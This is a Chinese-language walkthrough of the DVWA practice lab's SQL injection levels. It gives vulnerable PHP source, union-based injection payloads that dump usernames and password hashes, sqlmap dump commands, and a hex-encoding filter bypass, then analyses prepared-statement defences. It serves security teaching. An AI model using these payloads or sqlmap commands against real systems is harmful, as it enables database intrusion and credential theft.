DVWA靶场SQL注入通关详解(Low/Medium/High/Impossible)
深入掌握SQL注入技巧,从零开始通关DVWA靶场
SQL注入是Web安全领域最常见也是最危险的漏洞之一。DVWA(Damn Vulnerable Web Application)作为一个专门用于安全练习的靶场,提供了从低到高四个安全级别的SQL注入环境。本文将详细讲解每个级别的通关技巧和防御原理。
1 SQL注入原理简介
SQL注入(SQL Injection)是指攻击者通过将恶意SQL代码插入到Web应用程序的输入参数中,欺骗服务器执行这些恶意代码的攻击方式。当Web应用程序没有对用户输入进行充分过滤或验证时,就可能发生这种漏洞。
SQL注入的主要危害包括:
- 数据库敏感信息泄露
- 数据库数据被篡改
- 服务器被接管
- 攻击内网其他系统
2 DVWA环境搭建
DVWA是一个使用PHP/MySQL开发的Web应用程序,可以在多种平台上运行(Windows/Linux with XAMPP、WAMP或LAMP)。
- 从官网下载DVWA安装包
- 解压到Web服务器目录(如Apache的htdocs目录)
- 配置数据库连接(config/config.inc.php)
- 在浏览器中访问DVWA,创建数据库
- 登录(默认用户名/密码:admin/password)
安全级别设置:
在DVWA首页可以设置四个安全级别:
- Low:低级安全(无任何防护)
- Medium:中级安全(基础过滤)
- High:高级安全(较强防护)
- Impossible:顶级安全(近乎完美防护)
3 Low级别通关详解
3.1 漏洞分析
Low级别的源码完全没有进行任何过滤:
$id = $_REQUEST['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
用户输入的id
参数直接拼接到SQL语句中,存在明显的字符型SQL注入漏洞。
3.2 注入步骤
3.2.1 判断注入点类型
首先输入正常值观察回显:
id=1
回显正常,显示用户ID为1的用户名。
接着测试注入类型,输入:
id=1'
页面报错,说明存在字符型注入,且使用单引号闭合。
3.2.2 确定字段数
使用order by
语句判断查询结果的字段数:
id=1' order by 2#
回显正常
id=1' order by 3#
回显错误,说明字段数为2。
3.2.3 查找回显点
使用union联合查询确定回显位置:
id=-1' union select 1,2#
页面显示1和2,说明两个位置都可以回显。
3.2.4 获取数据库信息
获取当前数据库和版本信息:
id=-1' union select database(),version()#
回显结果为:数据库名dvwa
,MySQL版本号。
3.2.5 获取表名
id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
回显显示有两个表:guestbook
和users
。
3.2.6 获取列名
id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
回显显示users表有多个字段,包括user_id
, first_name
, last_name
, user
, password
等。
3.2.7 提取数据
获取所有用户名和密码:
id=-1' union select group_concat(user),group_concat(password) from users#
回显所有用户名和经过MD5加密的密码。
DVWA用户默认密码:
用户名 | MD5密码 | 明文密码 |
---|---|---|
admin | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
gordonb | e99a18c428cb38d5f260853678922e03 | abc123 |
1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | charley |
pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
可以使用在线MD5解密网站破解这些哈希值。
3.3 自动化工具注入
使用SQLmap工具可以自动化完成上述过程:
- 登录DVWA后获取Cookie值
- 使用以下命令进行注入:
sqlmap -u "http://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="security=low; PHPSESSID=<your-session-id>" \
--batch --dbs
或者
sqlmap -u "https://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" -cookie="security=low; PHPSESSID=<your-session-id>" --current-db --batch
- 获取数据库后,进一步提取表、字段和数据:
sqlmap -u "http://<DVWA-IP>/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="security=low; PHPSESSID=<your-session-id>" \
-D dvwa -T users --dump
4 Medium级别通关详解
4.1 漏洞分析
Medium级别使用了mysqli_real_escape_string()
函数对输入进行转义:
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
此函数转义以下字符:\x00
, \n
, \r
, \
, '
, "
和\x1a
。
但是查询语句发生了变化:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
注意这里不再使用引号包围$id
,说明是数字型注入,因此转义函数无法防止注入。
4.2 注入步骤
4.2.1 判断注入类型
由于前端改为下拉菜单,需要使用Burp Suite等工具抓包修改参数。
抓包后修改id参数为:
id=1 or 1=1#
页面显示所有用户信息,说明存在数字型注入。
4.2.2 确定字段数
id=1 order by 2#
回显正常
id=1 order by 3#
回显错误,确定字段数为2。
4.2.3 获取数据库信息
后续步骤与Low级别类似,但需要注意:
- 不需要单引号闭合
- 如果需要查询指定表名,需要将表名转换为十六进制绕过过滤
例如查询users表的列名:
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
这里0x7573657273
是users
的十六进制表示。
5 High级别通关详解
5.1 漏洞分析
High级别的SQL查询语句增加了LIMIT 1
限制:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
这旨在限制只返回一个结果,但可以通过注释符#
绕过这一限制。
5.2 注入步骤
High级别的注入点位于另一个页面,需要通过点击"here to change your ID"链接进入。
注入过程与Low级别类似,只需要在注入payload末尾添加#
注释掉后面的LIMIT 1
:
id=1' union select user,password from users#
这样就能获取所有用户信息,而不受LIMIT 1的限制。
6 Impossible级别防御分析
Impossible级别采用了多种安全措施,有效防止了SQL注入:
6.1 PDO预处理语句
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();
使用PDO预处理语句将代码与数据完全分离,用户输入不再被解释为SQL代码的一部分。
6.2 输入类型检查
if(is_numeric($id))
检查输入是否为数字类型,确保输入符合预期格式。
6.3 结果数量检查
if($data->rowCount() == 1)
确保只返回一个结果,防止信息泄露。
6.4 CSRF令牌保护
checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');
实施CSRF令牌机制,防止CSRF攻击。
7 SQL注入防御方案
根据DVWA四个级别的防护措施,总结SQL注入的有效防御方案:
- 使用预处理语句(PDO或MySQLi)
这是最有效、最根本的防御方式,能彻底分离代码和数据。 - 严格输入验证和过滤
对用户输入进行严格的白名单验证,只允许符合特定格式的输入。 - 最小权限原则
Web应用程序连接数据库时应使用最低权限账户,避免使用管理员账户。 - 错误信息处理
自定义错误信息,避免向用户暴露数据库结构信息。 - 多层安全防护
使用WAF、IDS/IPS等安全设备提供额外保护层。
8 总结
通过DVWA四个级别的SQL注入实验,我们可以得出以下结论:
- Low级别:完全没有防护,最容易利用,但也最能展示SQL注入的原理和危害。
- Medium级别:试图通过转义特殊字符进行防护,但由于注入类型判断错误,防护效果有限。
- High级别:增加了结果数量限制,但可以通过简单注释绕过,防护仍不完善。
- Impossible级别:采用预处理语句、输入验证和多层防护,提供了有效的安全保障。
最重要的是:在实际开发中,应该始终使用Prepared Statements(预处理语句)来防止SQL注入攻击,这是唯一被证明有效且全面的防御方式。
希望本文能帮助你理解SQL注入的原理、利用技巧和防御方法,在今后的开发和测试工作中更好地应用这些知识。